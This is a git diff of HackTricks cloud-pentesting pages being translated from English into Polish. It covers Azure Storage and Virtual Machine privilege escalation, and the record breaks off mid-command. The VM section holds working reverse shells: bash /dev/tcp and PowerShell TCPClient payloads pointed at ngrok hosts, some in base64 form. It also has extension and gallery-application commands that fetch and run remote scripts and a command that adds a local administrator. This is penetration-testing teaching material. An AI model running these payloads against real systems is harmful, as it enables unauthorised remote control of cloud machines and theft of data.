tym uprawnieniem będzie mogła utworzyć lub zaktualizować istniejące konto magazynu, aktualizując dowolne ustawienie, takie jak zasady sieciowe lub polityki. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -39,118 +34,101 @@ az storage account update --name --default-action Allow # e.g. allow an IP address az storage account update --name --add networkRuleSet.ipRules value= ``` - ## Blobs Specific privesc ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -The first permission allows to **modify immutability policies** in containers and the second to delete them. +Pierwsze uprawnienie pozwala na **modyfikację polityk niezmienności** w kontenerach, a drugie na ich usunięcie. > [!NOTE] -> Note that if an immutability policy is in lock state, you cannot do neither of both - +> Zauważ, że jeśli polityka niezmienności jest w stanie blokady, nie możesz wykonać żadnej z tych operacji. ```bash az storage container immutability-policy delete \ - --account-name \ - --container-name \ - --resource-group +--account-name \ +--container-name \ +--resource-group az storage container immutability-policy update \ - --account-name \ - --container-name \ - --resource-group \ - --period +--account-name \ +--container-name \ +--resource-group \ +--period ``` - ## File shares specific privesc ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action -This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem. +To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie przejęcie własności plików w udostępnionym systemie plików. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action -This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem. +To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie modyfikację uprawnień plików w udostępnionym systemie plików. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action -This should allow a user having this permission to be able to perform actions inside a file system as a superuser. +To powinno umożliwić użytkownikowi posiadającemu tę uprawnienie wykonywanie działań w systemie plików jako superużytkownik. ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data. - +Dzięki temu uprawnieniu, atakujący może utworzyć i zaktualizować (jeśli ma uprawnienie `Microsoft.Storage/storageAccounts/localusers/read`) nowego lokalnego użytkownika dla konta Azure Storage (skonfigurowanego z hierarchiczną przestrzenią nazw), w tym określenie uprawnień użytkownika i katalogu domowego. To uprawnienie jest istotne, ponieważ pozwala atakującemu przyznać sobie dostęp do konta magazynu z określonymi uprawnieniami, takimi jak odczyt (r), zapis (w), usunięcie (d) i lista (l) oraz inne. Dodatkowo, metody uwierzytelniania, które to wykorzystuje, mogą obejmować hasła generowane przez Azure i pary kluczy SSH. Nie ma sprawdzenia, czy użytkownik już istnieje, więc można nadpisać innych użytkowników, którzy już tam są. Atakujący mógłby podnieść swoje uprawnienia i uzyskać dostęp SSH do konta magazynu, potencjalnie ujawniając lub kompromitując wrażliwe dane. ```bash az storage account local-user create \ - --account-name \ - --resource-group \ - --name \ - --permission-scope permissions=rwdl service=blob resource-name= \ - --home-directory \ - --has-ssh-key false/true # Depends on the auth method to use +--account-name \ +--resource-group \ +--name \ +--permission-scope permissions=rwdl service=blob resource-name= \ +--home-directory \ +--has-ssh-key false/true # Depends on the auth method to use ``` - ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content. - +Dzięki temu uprawnieniu, atakujący może zregenerować hasło dla lokalnego użytkownika w koncie Azure Storage. Daje to atakującemu możliwość uzyskania nowych poświadczeń uwierzytelniających (takich jak hasło SSH lub SFTP) dla użytkownika. Wykorzystując te poświadczenia, atakujący może uzyskać nieautoryzowany dostęp do konta storage, przeprowadzać transfery plików lub manipulować danymi w kontenerach storage. Może to prowadzić do wycieku danych, uszkodzenia lub złośliwej modyfikacji zawartości konta storage. ```bash az storage account local-user regenerate-password \ - --account-name \ - --resource-group \ - --name +--account-name \ +--resource-group \ +--name ``` - -To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect): - +Aby uzyskać dostęp do Azure Blob Storage za pomocą SFTP przy użyciu lokalnego użytkownika przez SFTP, możesz (możesz również użyć klucza ssh do połączenia): ```bash sftp @.blob.core.windows.net #regenerated-password ``` - ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Dzięki tym uprawnieniom atakujący może przywrócić usunięty kontener, podając jego ID usuniętej wersji lub przywrócić konkretne bloby w kontenerze, jeśli zostały wcześniej usunięte w sposób miękki. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały być trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu. ```bash #Restore the soft deleted container az storage container restore \ - --account-name \ - --name \ - --deleted-version +--account-name \ +--name \ +--deleted-version #Restore the soft deleted blob az storage blob undelete \ - --account-name \ - --container-name \ - --name "fileName.txt" +--account-name \ +--container-name \ +--name "fileName.txt" ``` - ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Dzięki tym uprawnieniom, atakujący może przywrócić usuniętą usługę plików Azure, określając jej ID usuniętej wersji. Ta eskalacja uprawnień może pozwolić atakującemu na odzyskanie wrażliwych danych, które miały zostać trwale usunięte, co potencjalnie prowadzi do nieautoryzowanego dostępu. ```bash az storage share-rm restore \ - --storage-account \ - --name \ - --deleted-version +--storage-account \ +--name \ +--deleted-version ``` +## Inne interesujące uprawnienia (TODO) -## Other interesting looking permissions (TODO) - -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Zmienia właściciela bloba +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modyfikuje uprawnienia bloba +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Zwraca wynik polecenia bloba - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action -## References +## Odniesienia - [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage) - [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 6d8ba6e74..71aace5e1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -1,10 +1,10 @@ -# Az - Virtual Machines & Network Privesc +# Az - Maszyny Wirtualne i Privesc Sieciowy {{#include ../../../banners/hacktricks-training.md}} -## VMS & Network +## VMS i Sieć -For more info about Azure Virtual Machines and Network check: +Aby uzyskać więcej informacji na temat Maszyn Wirtualnych i Sieci Azure, sprawdź: {{#ref}} ../az-services/vms/ @@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\ -Example abusing custom extensions to execute arbitrary commands in a VM: +To uprawnienie pozwala na wykonywanie rozszerzeń w maszynach wirtualnych, co umożliwia **wykonywanie dowolnego kodu na nich**.\ +Przykład nadużycia niestandardowych rozszerzeń do wykonywania dowolnych poleceń w VM: {{#tabs }} {{#tab name="Linux" }} -- Execute a revers shell - +- Wykonaj powrotny shell ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' +--resource-group \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` - -- Execute a script located on the internet - +- Wykonaj skrypt znajdujący się w Internecie ```bash az vm extension set \ - --resource-group rsc-group> \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ - --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' +--resource-group rsc-group> \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ +--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` - {{#endtab }} {{#tab name="Windows" }} -- Execute a reverse shell - +- Wykonaj powłokę odwrotną ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` - -- Execute reverse shell from file - +- Wykonaj powłokę odwrotną z pliku ```bash az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ - --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ +--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` +Możesz również wykonać inne ładunki, takie jak: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - -- Reset password using the VMAccess extension - +- Zresetuj hasło za pomocą rozszerzenia VMAccess ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` - {{#endtab }} {{#endtabs }} -It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs: +Możliwe jest również nadużycie znanych rozszerzeń do wykonywania kodu lub przeprowadzania uprzywilejowanych działań wewnątrz VM:
-VMAccess extension - -This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs. +Rozszerzenie VMAccess +To rozszerzenie pozwala na modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz Windows VM. ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` -
DesiredConfigurationState (DSC) -This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: - +To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { - Node localhost { - Script ReverseShell { - GetScript = { @{} } - SetScript = { - $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); - $stream = $client.GetStream(); - [byte[]]$bytes = 0..65535|%{0}; - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ - $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); - $sendback = (iex $data 2>&1 | Out-String ); - $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); - $stream.Write($sendbyte, 0, $sendbyte.Length) - } - $client.Close() - } - TestScript = { return $false } - } - } +Node localhost { +Script ReverseShell { +GetScript = { @{} } +SetScript = { +$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); +$stream = $client.GetStream(); +[byte[]]$bytes = 0..65535|%{0}; +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ +$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); +$sendback = (iex $data 2>&1 | Out-String ); +$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; +$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); +$stream.Write($sendbyte, 0, $sendbyte.Length) +} +$client.Close() +} +TestScript = { return $false } +} +} } RevShellConfig -OutputPath .\Output @@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` - -ConfigurationPath .\revShell.ps1 ` - -ResourceGroupName $resourceGroup ` - -StorageAccountName $storageName ` - -Force +-ConfigurationPath .\revShell.ps1 ` +-ResourceGroupName $resourceGroup ` +-StorageAccountName $storageName ` +-Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` - -Version '2.76' ` - -ResourceGroupName $resourceGroup ` - -VMName $vmName ` - -ArchiveStorageAccountName $storageName ` - -ArchiveBlobName 'revShell.ps1.zip' ` - -AutoUpdate ` - -ConfigurationName 'RevShellConfig' +-Version '2.76' ` +-ResourceGroupName $resourceGroup ` +-VMName $vmName ` +-ArchiveStorageAccountName $storageName ` +-ArchiveBlobName 'revShell.ps1.zip' ` +-AutoUpdate ` +-ConfigurationName 'RevShellConfig' ``` -
Hybrid Runbook Worker -This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/). +To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-services/az-automation-account/).
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands. +To są wymagane uprawnienia do **utworzenia nowej aplikacji w galerii i jej wykonania wewnątrz VM**. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM wykonujących dowolne polecenia. -The last 2 permissions might be avoided by sharing the application with the tenant. +Ostatnie 2 uprawnienia mogą być unikane przez udostępnienie aplikacji najemcy. -Exploitation example to execute arbitrary commands: +Przykład wykorzystania do wykonywania dowolnych poleceń: {{#tabs }} {{#tab name="Linux" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --resource-group \ - --os-type Linux \ - --location "West US 2" +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--resource-group \ +--os-type Linux \ +--location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ - --version-name 1.0.2 \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" +--version-name 1.0.2 \ +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --resource-group \ - --os-type Windows \ - --location "West US 2" +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--resource-group \ +--os-type Windows \ +--location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1 ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ - --version-name 1.0.0 \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - 